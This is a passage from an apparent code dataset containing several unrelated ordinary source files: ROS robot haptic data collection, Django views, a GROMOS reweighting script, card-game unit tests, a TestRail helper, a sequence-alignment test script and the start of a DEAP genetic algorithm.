\tfmags_tuned[np.where(fmags_tuned<0)]=0\n \tfmags_instant_tuned = fmags_tuned\n \tglobal fmags\n \tfor i in range(len(fmags_instant_tuned)):\n fmags[i].append(fmags_instant_tuned[i])\n \n \t# Gathering Contact Data for Haptic Mapping\n \tglobal global_contact_vector\n \tfor i in range(len(fmags_instant_tuned)):\n global_contact_vector[i].append(r1*((np.column_stack([data.centers_x[i], data.centers_y[i], data.centers_z[i]])).T) + t1)\n except (tf.Exception, tf.LookupException, tf.ConnectivityException):\n pass\n\ndef processdata():\n global sleeve\n str_process = 'Processing data for ' + sleeve + '!'\n rospy.loginfo(str_process)\n global fmags\n global global_contact_vector\n \n for key in fmags:\n temp_force_store = []\n temp_contact_motion = []\n init_contact = 0\n init_contact_store = 0.0\n max_temp = max(fmags[key])\n #if max_temp > 0.0:\n #print key\n #print '#####'\n for i in range(len(fmags[key])):\n if fmags[key][i] > 0.0:\n init_contact = init_contact + 1\n temp_force_store.append(fmags[key][i])\n if init_contact == 1:\n #print \"Started Contact !\"\n init_contact_store = global_contact_vector[key][i]\n temp_contact_motion.append(0.0)\n else:\n temp_contact_motion.append(abs(lin.norm(global_contact_vector[key][i] - init_contact_store)))\n else:\n if len(temp_force_store) > 0:\n #print \"Broke Contact !\"\n savedata(temp_force_store, temp_contact_motion)\n temp_force_store = []\n temp_contact_motion = []\n init_contact = 0\n init_contact_store = 0.0\n \n\ndef savedata(force, motion):\n global trial_index\n global directory\n global sleeve \n time = []\n contact_area = []\n if len(force) > 10:\n str_save = 'Saving data for ' + sleeve + '!'\n rospy.loginfo(str_save)\n time_len = len(force)\n while len(time) < time_len:\n if len(time) == 0:\n time.append(0.0)\n contact_area.append(1.0)\n else:\n time.append(time[len(time)-1] + 0.01)\n contact_area.append(1.0)\n \n if not os.path.exists(directory):\n os.makedirs(directory)\n ut.save_pickle([time, force, contact_area, motion], directory + '/trial_' + sleeve + np.str(trial_index) +'.pkl')\n trial_index = trial_index + 1\n #else:\n #print \"Too few samples, Not saving the data\"\n\ndef plotdata():\n rospy.loginfo('Plotting data!')\n global directory\n global trial_index\n global sleeve\n for trial_num in range(1, trial_index):\n ta = ut.load_pickle(directory + '/trial_' + sleeve + np.str(trial_num) +'.pkl')\n \n mpu.figure(3*trial_num-2)\n pp.title('Time-Varying Force')\n pp.xlabel('Time (s)')\n pp.ylabel('Max Force')\n pp.plot(ta[0], ta[1])\n pp.grid('on') \n\n mpu.figure(3*trial_num-1)\n pp.title('Time-Varying Contact')\n pp.xlabel('Time (s)')\n pp.ylabel('No. of Contact Regions')\n pp.plot(ta[0], ta[2])\n pp.grid('on') \n\n mpu.figure(3*trial_num)\n pp.title('Point Tracker')\n pp.xlabel('Time (s)')\n pp.ylabel('Contact Point Distance')\n pp.plot(ta[0], ta[3])\n pp.grid('on')\n \n \ndef getdata(node_name, topic_subscriber, sleeve):\n str_init = 'Initializing the Node for ' + sleeve + '!'\n str_sub = 'Waiting to Subscribe to the Skin Message for ' + sleeve\n rospy.loginfo(str_init)\n rospy.init_node(node_name, anonymous=True)\n tf_lstnr = tf.TransformListener()\n rospy.loginfo(str_sub)\n rospy.Subscriber(topic_subscriber, TaxelArray_Meka, callback, callback_args = (tf_lstnr))\n rospy.spin()\n\n\nif __name__ == '__main__':\n\n p = optparse.OptionParser()\n \n p.add_option('--upperarm', action='store_true', dest='upperarm', help='node for the upperarm taxels of PR2 sleeve')\n p.add_option('--forearm', action='store_true', dest='forearm', help='node for the forearm taxels of PR2 sleeve')\n p.add_option('--gripper_left_link', action='store_true', dest='gripper_left_link', help='node for the gripper left link taxels of PR2 sleeve')\n p.add_option('--gripper_right_link', action='store_true', dest='gripper_right_link', help='node for the gripper right link taxels of PR2 sleeve')\n p.add_option('--gripper_palm', action='store_true', dest='gripper_palm', help='node for the gripper palm taxels of PR2 sleeve')\n p.add_option('--fingertip_left', action='store_true', dest='fingertip_left', help='node for the fingertip left taxels of PR2 pps')\n p.add_option('--fingertip_right', action='store_true', dest='fingertip_right', help='node for the fingertip right taxels of PR2 pps')\n p.add_option('--exp_num', action='store', dest='exp_num', default = None, help='specify the experiment number', type='float')\n \n opt, args = p.parse_args()\n\n if opt.upperarm and opt.exp_num:\n node_name = \"PR2_upperarm_collect_data\"\n topic_subscriber = \"/pr2_fabric_upperarm_sensor/taxels/forces\"\n topic_publisher = 'demo_upperarm_taxelarray_with_cost'\n num_taxels = 4\n sleeve = 'upperarm'\n num = opt.exp_num\n elif opt.forearm and opt.exp_num:\n node_name = \"PR2_forearm_collect_data\"\n topic_subscriber = \"/pr2_fabric_forearm_sensor/taxels/forces\"\n topic_publisher = 'demo_forearm_taxelarray_with_cost'\n num_taxels = 22\n sleeve = 'forearm'\n num = opt.exp_num\n elif opt.gripper_left_link and opt.exp_num:\n node_name = \"PR2_gripper_left_link_collect_data\"\n topic_subscriber = \"/pr2_fabric_gripper_left_link_sensor/taxels/forces\"\n topic_publisher = 'demo_gripper_left_link_taxelarray_with_cost'\n num_taxels = 4\n sleeve = 'gripper_left_link'\n num = opt.exp_num\n elif opt.gripper_right_link and opt.exp_num:\n node_name = \"PR2_gripper_right_link_collect_data\"\n topic_subscriber = \"/pr2_fabric_gripper_right_link_sensor/taxels/forces\"\n topic_publisher = 'demo_gripper_right_link_taxelarray_with_cost'\n num_taxels = 4\n sleeve = 'gripper_right_link'\n num = opt.exp_num\n elif opt.gripper_palm and opt.exp_num:\n node_name = \"PR2_gripper_palm_collect_data\"\n topic_subscriber = \"/pr2_fabric_gripper_palm_sensor/taxels/forces\"\n topic_publisher = 'demo_gripper_palm_taxelarray_with_cost'\n num_taxels = 2\n sleeve = 'gripper_palm'\n num = opt.exp_num\n elif opt.fingertip_left and opt.exp_num:\n node_name = \"PR2_fingertip_left_collect_data\"\n topic_subscriber = \"/pr2_pps_left_sensor/taxels/forces\"\n topic_publisher = 'demo_fingertip_left_taxelarray_with_cost'\n num_taxels = 3\n sleeve = 'fingertip_left'\n num = opt.exp_num\n elif opt.fingertip_right and opt.exp_num:\n node_name = \"PR2_fingertip_right_collect_data\"\n topic_subscriber = \"/pr2_pps_right_sensor/taxels/forces\"\n topic_publisher = 'demo_fingertip_right_taxelarray_with_cost'\n num_taxels = 3\n sleeve = 'fingertip_right'\n num = opt.exp_num \n else:\n rospy.logerr('Specify --exp_num and --upperarm or --forearm or --gripper_left_link or --gripper_right_link or --gripper_palm or --fingertip_left or --fingertip_right')\n sys.exit()\n\n # Global Params\n #obj_class = 'human/'\n obj_class = 'furniture/'\n #obj_class = 'mannequin/'\n trial_index = 1\n directory = '/home/nidrr/svn/robot1_data/usr/tapo/data/rapid_categorization/Taxel_Based/NIDRR_demo_data/' + obj_class + np.str(int(num))\n\n # Global Data dicts\n fmags = {}\n for i in range(num_taxels):\n fmags[i] = []\n global_contact_vector = {}\n for i in range(num_taxels):\n global_contact_vector[i] = []\n\n # Function Calls\n getdata(node_name, topic_subscriber, sleeve)\n processdata()\n #plotdata()\n #pp.show()\n","sub_path":"rapid_categorization/haptic_map/NIDRR/Demo_April_2014/collect_data_taxel_based_nidrr.py","file_name":"collect_data_taxel_based_nidrr.py","file_ext":"py","file_size_in_byte":9797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"200073535","text":"import copy\nimport json\nfrom django.shortcuts import render\nfrom django.shortcuts import HttpResponse\n\nfrom .models import Address\nfrom siteparser.asynchronous import message_queue\n\n\ndef information(request):\n context = {}\n context['parsed'] = Address.objects.filter(state=True)\n return render(request, 'information.html', context)\n\n\ndef messages(request):\n # Return json with all messages contains information about parsed objects\n messages_list = []\n for each in copy.copy(message_queue):\n print(each.object)\n messages_list.append(\n {\n \"address\": each.object,\n \"state\": each.state,\n \"time\": int(round(each.time))\n }\n )\n\n return HttpResponse(json.dumps(messages_list))\n","sub_path":"siteparser/urlparserapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"286286398","text":"import numpy as np\nimport subprocess\nfrom argparse import ArgumentParser\n\n\ndef cmdlineparse():\n parser = ArgumentParser(description=\"command line arguments\")\n parser.add_argument(\"--cv1\", dest=\"cv1\", required=True, help=\"First CV time series\")\n parser.add_argument(\"--cv2\", dest=\"cv2\", required=True, help=\"Second CV time series\")\n parser.add_argument(\"--vr\", dest=\"vr\", required=True, help=\"Energy of the biased trajectory\")\n parser.add_argument(\"--vy\", dest=\"vy\", required=True, help=\"Energy of the unbiased trajectory\")\n parser.add_argument(\"--xdim\", dest=\"xdim\", required=True, nargs=\"+\", help=\"Dimensions and space between bins for the first CV\")\n parser.add_argument(\"--ydim\", dest=\"ydim\", required=True, nargs=\"+\", help=\"Dimensions and space between bins for the second CV\")\n args=parser.parse_args()\n return args\n\ndef read_gromos_output_file(in_file):\n time_series = []\n value_series = []\n with open(in_file, \"r\") as inn:\n for line in inn:\n line = line.rstrip()\n if not line.startswith(\"#\"):\n fields = line.split()\n time = round(float(fields[0]),3)\n value = float(fields[1])\n time_series.append(time)\n value_series.append(value)\n return np.array(time_series), np.array(value_series)\n\ndef create_bin_map(xmin, xmax, dimx, ymin, ymax, dimy):\n bin2value = {}\n binsx = np.array([i for i in np.arange(xmin, xmax, dimx)])\n binsy = np.array([i for i in np.arange(ymin, ymax, dimy)])\n count = 0\n # create mapping for the linearized bins\n for e in binsx:\n for ee in binsy:\n bin2value.setdefault(count, (e,ee))\n count += 1\n return binsx, binsy, bin2value\n\ndef bin_data(binsx, binsy, datax, datay):\n binedx = np.digitize(datax, binsx)\n binedy = np.digitize(datay, binsy)\n # substract 1 to bins to count from 0\n binedx -= 1\n binedy -= 1\n # slide first bin to be sapced in increments of len(binsY)\n binedx *= len(binsy)\n # add them together\n lbins = binedx + binedy\n return lbins\n\ndef create_reweight_input(numbins, vr, vy):\n with open(\"gromos_reweight_2d.arg\", \"w\") as inn:\n inn.write(\"@temp 300\\n\")\n inn.write(\"@x linear_bins.dat\\n\")\n inn.write(\"@vr %s\\n\" % vr)\n inn.write(\"@vy %s\\n\" % vy)\n maxb = numbins - 0.5\n # to make rounded bins\n inn.write(\"@bounds -0.5 %s %s\\n\" % (maxb, numbins))\n\ndef create_bined_timeseries(bined_data, time):\n with open(\"linear_bins.dat\",\"w\") as inn:\n for i in range(len(bined_data)):\n inn.write(\"%s %s\\n\" % (time[i], bined_data[i]))\n\ndef probins_to_energy(lbins):\n enebins = []\n # set max ene to 1/10th of the rarest event\n maxene = - np.log(np.min(lbins[np.where(lbins != 0)[0]])/10.0) * 300 * 8.314462618*10**-3\n for i,e in enumerate(lbins):\n if e == 0.0:\n prob = maxene\n else:\n prob = - np.log(e) * 300 * 8.314462618*10**-3\n enebins.append(prob)\n enebins = np.array(enebins)\n enebins -= min(enebins)\n return enebins\n\ndef delinearize_bins(ener_bins, bins2value, output_file):\n with open(output_file, \"w\") as out:\n for i, ene in enumerate(ener_bins):\n out.write(\"%s\\t%s\\t%s\\n\" % (bins2value[i][0], bins2value[i][1], ene))\n\ndef run_reweight():\n with open(\"gromos_reweight_output.out\", \"w\") as out:\n subprocess.run([\"reweight\", \"@f\", \"gromos_reweight_2d.arg\"], stdout=out)\n \ndef main():\n # read cmd arguments\n args = cmdlineparse()\n # load data\n time, cv1dat = read_gromos_output_file(args.cv1)\n time, cv2dat = read_gromos_output_file(args.cv2)\n #vrdat = read_gromos_output_file(args.vr)\n #vydat = read_gromos_output_file(args.vy)\n # bin data\n binsx, binsy, bin2value = create_bin_map(float(args.xdim[0]), float(args.xdim[1]), float(args.xdim[2]),\n float(args.ydim[0]), float(args.ydim[1]), float(args.ydim[2]))\n linearbins = bin_data(binsx, binsy, cv1dat, cv2dat)\n # create reweight input file\n numbins = len(binsx) * len(binsy)\n create_reweight_input(numbins, args.vr, args.vy)\n create_bined_timeseries(linearbins, time)\n # run reweight\n run_reweight()\n _, reweighted_bins = read_gromos_output_file(\"gromos_reweight_output.out\")\n # turn probabilities into energies\n ener_bins = probins_to_energy(reweighted_bins)\n # delinearize bins and save them to a file\n delinearize_bins(ener_bins, bin2value, \"reweighted_PMF_2D.dat\")\n # clean up data\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"tutorial_files/t_04/scripts/ExponentialReweighing.py","file_name":"ExponentialReweighing.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"588139701","text":"from unittest import TestCase, mock\nfrom games_cards.classes import *\nfrom unittest.mock import patch\nclass TestClasses(TestCase):\n def test_return_biger_card1(self):#c1 value bigger then c2 value\n c1= card(4,\"♦\")\n c2= card(2,\"♠\")\n self.assertTrue(c1.return_biger_card(c2))\n\n def test_return_biger_card2(self):#c1 value equals c2 value and c1 suit is biggerthen c2 suit\n c1 = card(4, \"♣\")\n c2 = card(4, \"♠\")\n self.assertTrue(c1.return_biger_card( c2))\n\n def test_return_biger_card3(self):#c2 value bigger then c1 value\n c1= card(3,\"♦\")\n c2= card(4,\"♠\")\n self.assertEqual(c1.return_biger_card(c2),c2)\n\n def test_return_biger_card4(self):#c2 value equals c1 value and c2 suit is biggerthen c1 suit\n c1= card(4,\"♠\")\n c2 = card(4, \"♣\")\n self.assertEqual(c1.return_biger_card(c2),c2)\n\n def test_shuffle(self):#checks if shuflles a full deck of cards\n deck1=DeckOfCards()\n deck2=deck1\n self.assertTrue(deck1.shuflle()!=deck2)\n\n def test_shuffle2(self): # checks if dont shuflles a not full deck of cards\n deck1 = DeckOfCards()\n deck1.deal_one()\n deck2=deck1\n deck1.shuflle()\n self.assertTrue(deck1 == deck2)\n\n\n def test_deal_one(self): #checks if deal a card from a full deck of cards\n deck1 = DeckOfCards()\n deck1.deal_one()\n self.assertTrue(len(deck1.deck)==51)\n\n def test_deal_one2(self): # checks if dont deal a card from a empty deck of cards\n deck1 = DeckOfCards()\n for i in range (52):\n deck1.deal_one()\n self.assertTrue(len(deck1.deck) == 0)\n\n def test_deal_one3(self): # checks if dont deal a card from a empty deck of cards\n deck1 = DeckOfCards()\n for i in range(56):\n deck1.deal_one()\n self.assertTrue(len(deck1.deck) == 0)\n\n def test_deal_one4(self):#checks if return the correct output when deck if empty\n deck1 = DeckOfCards()\n for i in range(54):\n deck1.deal_one()\n self.assertTrue(deck1.deal_one()==\"there are no cards in the deck\")\n\n def test_deal_one5(self):#checks if return the correct card when deck if not empty\n deck1 = DeckOfCards()\n expected_card=deck1.deck[19]\n for i in range(32):\n deck1.deal_one()\n self.assertEqual(expected_card ,deck1.deal_one())\n\n def test_newGame(self):# checks if the after running the fonction you get a new deck of cards\n deck1 = DeckOfCards()\n deck2=deck1\n deck1.shuflle()\n for i in range(32):\n deck1.deal_one()\n deck1.newGame()\n self.assertTrue(deck1 == deck2)\n\n def test_newGame2(self):# checks if from a empty deck of cards after running the fonction you get a new deck of cards\n deck1 = DeckOfCards()\n deck2=deck1\n deck1.shuflle()\n for i in range(54):\n deck1.deal_one()\n deck1.newGame()\n self.assertTrue(deck1 == deck2)\n\n def test_newGame3(self):# checks if from a full deck of cards after running the fonction you get a new deck of cards\n deck1 = DeckOfCards()\n deck2=deck1\n deck1.shuflle()\n deck1.newGame()\n self.assertTrue(deck1 == deck2)\n\n def test_send_hand(self):#check if stop sending cards when deck is empty\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1,60)\n self.assertTrue(len(deck1.deck)==0)\n\n def test_send_hand2(self): # check if deals the correct amount of cards\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 5)\n self.assertTrue(len(deck1.deck) ==47)\n\n def test_send_hand3(self): # check if the fonction can get 0 for number of cards to deal\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 0)\n self.assertTrue(len(deck1.deck) == 52)\n\n # def test_send_hand4(self):#checks the call of shuffle in new game\n # # with patch('games_cards.classes.DeckOfCards.deal_one') as mockdeal1:\n # card1=card(4, \"♣\")\n # # mockdeal1.return_value=card1\n # deck1 = DeckOfCards()\n # deck1.newGame()\n # Roy = player(\"roy\", 5000)\n # Roy.send_hand(deck1,1)\n # self.assertTrue(True)\n # # self.assertEqual(Roy.cards[0],card1)\n def test_send_hand4(self):\n with patch('games_cards.classes.DeckOfCards.deal_one') as mockdeal1:\n card1=card(4, \"♣\")\n mockdeal1.return_value=card1\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1,1)\n self.assertEqual(Roy.cards[0],card1)\n\n def test_send_hand5(self):\n with patch('games_cards.classes.DeckOfCards.deal_one') as mockdeal2:\n card1 = None\n mockdeal2.return_value = card1\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 1)\n self.assertEqual(Roy.cards[0], card1)\n\n\n def test_get_card(self):#checks if takes one card from the players hand\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 5)\n Roy.get_card()\n self.assertTrue(len(Roy.cards)==4)\n\n def test_get_card2(self):#checks if dont takes a card from a players empty hand\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 0)\n Roy.get_card()\n self.assertTrue(len(Roy.cards)==0)\n\n def test_get_card3(self):#checks if dont takes a card from a players empty hand\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n Roy.send_hand(deck1, 0)\n self.assertTrue(Roy.get_card()==\"the player has no more cards\")\n\n def test_get_card4(self):\n with patch('games_cards.classes.player.send_hand') as mockget1:\n deck1 = DeckOfCards()\n Roy = player(\"roy\", 5000)\n card1 = None\n mockget1.return_value = card1\n Roy.send_hand(deck1, 0)\n self.assertTrue(Roy.get_card() == \"the player has no more cards\")\n\n def test_reduce_amount(self):#checks if reduces the correct amount\n Roy = player(\"roy\", 5000)\n Roy.reduceAmount(2000)\n self.assertTrue(Roy.money==3000)\n\n def test_reduce_amount2(self):#checks if dont reduces the amount from a player that has not inough money\n Roy = player(\"roy\", 5000)\n Roy.reduceAmount(6000)\n self.assertTrue(Roy.money==5000)\n\n def test_reduce_amount3(self): # checks if reduces the exact amount of money from a player\n Roy = player(\"roy\", 5000)\n Roy.reduceAmount(5000)\n self.assertTrue(Roy.money == 0)\n\n def test_add_amount(self):#checks if the amount added is correct\n Roy = player(\"roy\", 5000)\n Roy.addAmount(5000)\n self.assertTrue(Roy.money == 10000)\n\n def test_add_amount2(self):#check if add 0 to the amount\n Roy = player(\"roy\", 5000)\n Roy.addAmount(0)\n self.assertTrue(Roy.money == 5000)\n\n def test_add_amount3(self): # check if dont add a negative amount\n Roy = player(\"roy\", 5000)\n Roy.addAmount(-5000)\n self.assertTrue(Roy.money == 5000)\n","sub_path":"games_cards/test_classes.py","file_name":"test_classes.py","file_ext":"py","file_size_in_byte":7284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"20953039","text":"\"\"\"\n\"\"\"\n\nfrom .base import APIBase\nimport logging as log\nfrom .common import loggingSetup, formatRFOutput\nfrom .TestProjects import TestProjects\nfrom .TestSuites import TestSuites\nimport os\nimport os.path as path\n\nloggingSetup(\"TestCases.log\")\n\n\nclass TestCases(APIBase):\n \"\"\"\n An interface to test rail for working with test cases\n \"\"\"\n __testProjects = TestProjects()\n __suites = TestSuites()\n\n def __init__(self):\n APIBase.__init__(self)\n\n def getTestCases(self, projectName, testSuiteID):\n \"\"\"\n Get a list of test cases for the project and suite\n \"\"\"\n log.debug(\"getTestCases %s, %s\" % (projectName, testSuiteID))\n projectID = self.__testProjects.projectIDFromName(projectName)\n TCs = self.client.send_get(\"get_cases/%s&suite_id=%s\" % (projectID, testSuiteID))\n log.debug(TCs)\n return TCs\n\n def saveTestCasesToRFFormat(self, projectName, suiteID, testCases, dirPath):\n \"\"\"\n Save the test cases for the given project and suite to the directory specified\n \"\"\"\n log.debug(\"saveTestCasesToRFFormat '%s', '%s', '%s', '%s'\" % (projectName, suiteID, testCases, dirPath))\n suiteName = self.__suites.suiteNameFromID(projectName, suiteID)\n projectID = self.__testProjects.projectIDFromName(projectName)\n if not path.exists(dirPath):\n os.makedirs(dirPath)\n formatted = ((formatRFOutput(projectName, [\"../Resources/common.robot\"], suiteName, suiteID, projectID, [\"Functional\"], **tc), tc[\"title\"]) for tc in testCases)\n for x in formatted:\n fname = \"%s%s%s.%s\" % (dirPath, os.sep, x[1], \"robot\")\n log.debug(\"TC file name is '%s'\" % fname)\n with open(fname, \"w+\") as f:\n f.write(x[0])\n return\n\n# def removeTestCases(self, dirPath):\n# \"\"\"\n# Remove existing test case files from the given directory.\n# \"\"\"\n# log.debug(\"removeTestCases %s\"%dirPath)\n# if not dirPath.endswith(os.sep):\n# dirPath += os.sep\n# log.debug(\"removing %s\" % dirPath)\n# os.rmdir(dirPath)\n\n\n\"\"\"\nAUTO_ID values\n\nsaifeconnect.configuration\nsaifeconnect.help\nsaifeconnect.help.button.copy\nsaifeconnect.help.button.ok\nsaifeconnect.help.hyperlink.contactsupport\nsaifeconnect.help.hyperlink.opensourcedisclaimers\nsaifeconnect.help.tab.about\nsaifeconnect.help.tab.servicedetails\nsaifeconnect.help.textbox.additionalresources\nsaifeconnect.help.textbox.productdescription\nsaifeconnect.help.textbox.servicedetails\nsaifeconnect.info.0\nsaifeconnect.info.1\nsaifeconnect.info.2\nsaifeconnect.maincontrol\nsaifeconnect.maincontrol.configuration.textblock\nsaifeconnect.maincontrol.connected\nsaifeconnect.maincontrol.connected.disconnect.button\nsaifeconnect.maincontrol.connected.status.textbox\nsaifeconnect.maincontrol.continue.button\nsaifeconnect.maincontrol.groupselect\nsaifeconnect.maincontrol.groupselect.connect.button\nsaifeconnect.maincontrol.groupselect.groups.combobox\nsaifeconnect.maincontrol.groupselect.status.textblock\nsaifeconnect.maincontrol.help.textblock\nsaifeconnect.maincontrol.ok.button\nsaifeconnect.maincontrol.password\nsaifeconnect.maincontrol.password.passwordbox\nsaifeconnect.maincontrol.passwordmessage.textbox\nsaifeconnect.maincontrol.status\nsaifeconnect.maincontrol.status.textblock\nsaifeconnect.maincontrolwrapper\nsaifeconnect.mockservice\nsaifeconnect.monitor\nsaifeconnect.provisioning.createpassword\nsaifeconnect.provisioning.eula\nsaifeconnect.provisioning.mainnavigationwindow\nsaifeconnect.provisioning.wait\nsaifeconnect.provisioning.welcome\nsaifeconnect.settings.advanced\nsaifeconnect.settings.autoconnectto.any.radiobutton\nsaifeconnect.settings.autoconnectto.group.combobox\nsaifeconnect.settings.autoconnectto.none.radiobutton\nsaifeconnect.settings.autoconnectto.selected.radiobutton\nsaifeconnect.settings.complete.ok.button\nsaifeconnect.settings.filesdirectory\nsaifeconnect.settings.general\nsaifeconnect.settings.information\nsaifeconnect.settings.loglevel\nsaifeconnect.settings.loglevelname\nsaifeconnect.settings.notifications.enable.checkbox\nsaifeconnect.settings.notifications.tooltip\nsaifeconnect.settings.password\nsaifeconnect.settings.password.apply.button\nsaifeconnect.settings.password.cancel.button\nsaifeconnect.settings.password.confirmpassword.passwordbox\nsaifeconnect.settings.password.currentpassword.passwordbox\nsaifeconnect.settings.password.errormessage.label\nsaifeconnect.settings.password.expirationmessage.textbox\nsaifeconnect.settings.password.newpassword.passwordbox\nsaifeconnect.settings.silentstart.enable.checkbox\nsaifeconnect.settings.silentstart.tooltip\nsaifeconnect.settings.startwithwindows.enable.checkbox\nsaifeconnect.settings.viewselector\nsaifeconnect.settings.viewselector.resopurces\nsaifeconnect.settings.viewselector.selectedview\n\"\"\"\n\n","sub_path":"src/TestRail/TestCases.py","file_name":"TestCases.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"567361594","text":"from django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom myapp.models import Bbs\nfrom myapp.serializers import BbsSerializer\n\n\n@api_view(['GET','POST'])\ndef myapp_list(request, format=None):\n if request.method == 'GET':\n bbs = Bbs.objects.all()\n serializer = BbsSerializer(bbs, many = True)\n return response(serializer.data)\n\n elif request.method == 'POST':\n serializer = BbsSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET','POST'])\ndef myapp_detail(request, pk, format=None):\n try:\n bbs = Bbs.objects.get(pk=pk)\n except Bbs.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n if request.method == 'GET':\n serializer = BbsSerializer(bbs)\n return Response(serializer.data)\n\n elif request.method == 'PUT':\n serializer = BbsSerializer(bbs, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n elif request.method == 'DELETE':\n bbs.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n","sub_path":"myapp/views_cbv.py","file_name":"views_cbv.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"454003121","text":"import numpy as np\nimport time\nimport main as bio\nimport random\n#put ALL your code here\ntest_choice = 0\n\n\nbig_scores = [\n\n[ 1,-5,-5,-5,-1],\n\n[-5, 1,-5,-5,-1],\n\n[-5,-5, 5,-5,-4],\n\n[-5,-5,-5, 6,-4],\n\n[-1,-1,-4,-4,-9]]\n\ntests = {0: (\"ABC\", [[1,-1,-2,-1],[-1,2,-4,-1],[-2,-4,3,-2],[-1,-1,-2,0]], \"AABBAACA\", \"CBACCCBA\"),\n 1: (\"ABCD\", big_scores, \"AAAAACCDDCCDDAAAAACC\", \"CCAAADDAAAACCAAADDCCAAAA\"),\n 2: (\"ABCD\", big_scores, \"AACAAADAAAACAADAADAAA\", \"CDCDDD\"),\n 3: (\"ABCD\", big_scores, \"DDCDDCCCDCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCDDDCDADCDCDCDCD\", \"DDCDDCCCDCBCCCCDDDCDBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBDCDCDCDCD\"),\n 4: (\"ABCD\", big_scores, ''.join([random.choice('ABCD') for _ in range(1000)]), ''.join([random.choice('ABCD') for _ in range(100)]))}\n\nalphabet = tests[test_choice][0]\nsub_matrix = tests[test_choice][1]\nseq_1 = tests[test_choice][2]\nseq_2 = tests[test_choice][3]\n\nstart = time.time()\na = bio.dynprog(alphabet, sub_matrix, seq_1, seq_2)\na_finish = round(time.time() - start, 5)\n\nstart = time.time()\nb = bio.dynproglin(alphabet, sub_matrix, seq_1, seq_2)\nb_finish = round(time.time() - start, 5)\n\nstart = time.time()\nc = bio.heuralign(alphabet, sub_matrix, seq_1, seq_2)\nc_finish = round(time.time() - start, 5)\n\nprint('Dynprog results:')\nprint(\"Score: \", a[0])\nprint(\"Indices: \", a[1],a[2])\nprint('Time taken: ', a_finish)\nprint('\\n')\n\nprint('Dynproglin results:')\nprint(\"Score: \", b[0])\nprint(\"Indices: \", b[1],b[2])\nprint('Time taken: ', b_finish)\nprint('\\n')\n\nprint('Heuralign results:')\nprint(\"Score: \", c[0])\nprint(\"Indices: \", c[1],c[2])\nprint('Time taken: ', c_finish)\nprint('\\n')","sub_path":"Python Files/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"490318873","text":"# Este archivo es parte de DEAP.\r\n\r\n#\r\n\r\n# DEAP es un sofware libre: puedes redistribuirlo y/o modificarlo\r\n\r\n# esta bajo los terminos de la GNU Lesser General Public License es\r\n\r\n# publicado por la fundacion de software libre, posterior de la version 3 de\r\n\r\n# la licencia, o ( a tu opinion ninguna version posterior.\r\n\r\n#\r\n\r\n# DEAP is distributed in the hope that it will be useful,\r\n\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n\r\n# GNU Lesser General Public License for more details.\r\n\r\n#\r\n\r\n# You should have received a copy of the GNU Lesser General Public\r\n\r\n# License along with DEAP. If not, see .\r\n\r\n\r\n\r\n\r\n\r\n# Ejemplo que busca maximizar la cantidad de enteros en una solucion\r\n\r\n# en donde cada valor puede ser 0 o 1\r\n\r\n\r\n\r\nimport random\r\n\r\n\r\n\r\nimport numpy as np\r\n\r\n\r\n\r\nfrom deap import base\r\n\r\nfrom deap import creator\r\n\r\nfrom deap import tools\r\n\r\n\r\n\r\n_MA=[[1,1,1,0,0,0,0],[1,1,1,1,0,0,0],[1,1,1,0,1,0,0],[0,1,0,1,1,1,0],[0,0,1,1,1,1,0],[0,0,0,1,1,1,1],[0,0,0,0,0,1,1]]\r\n\r\ne=np.matmul(_MA,_MA)\r\n\r\nfor i in range(7):\r\n\r\n e[i][i]=0\r\n\r\ntsolucion=7\r\n\r\n#Se crea la funcion que asigna el fitnnes de tipo maximisacion\r\n\r\ncreator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\r\n\r\n#Se define el tipo de dato que es el gen del algoritmo\r\n\r\ncreator.create(\"Individual\", list, fitness=creator.FitnessMax)\r\n\r\n#Se crea una instancia de la clase Toolbox con los metodos para algoritmos geneticos\r\n\r\ntoolbox = base.Toolbox()\r\n\r\n\r\n\r\n# Generador de atributos\r\n\r\n# define a 'attr_bool' como un atributo ('gene')\r\n\r\n# que corresponde a enteros aleatorios de 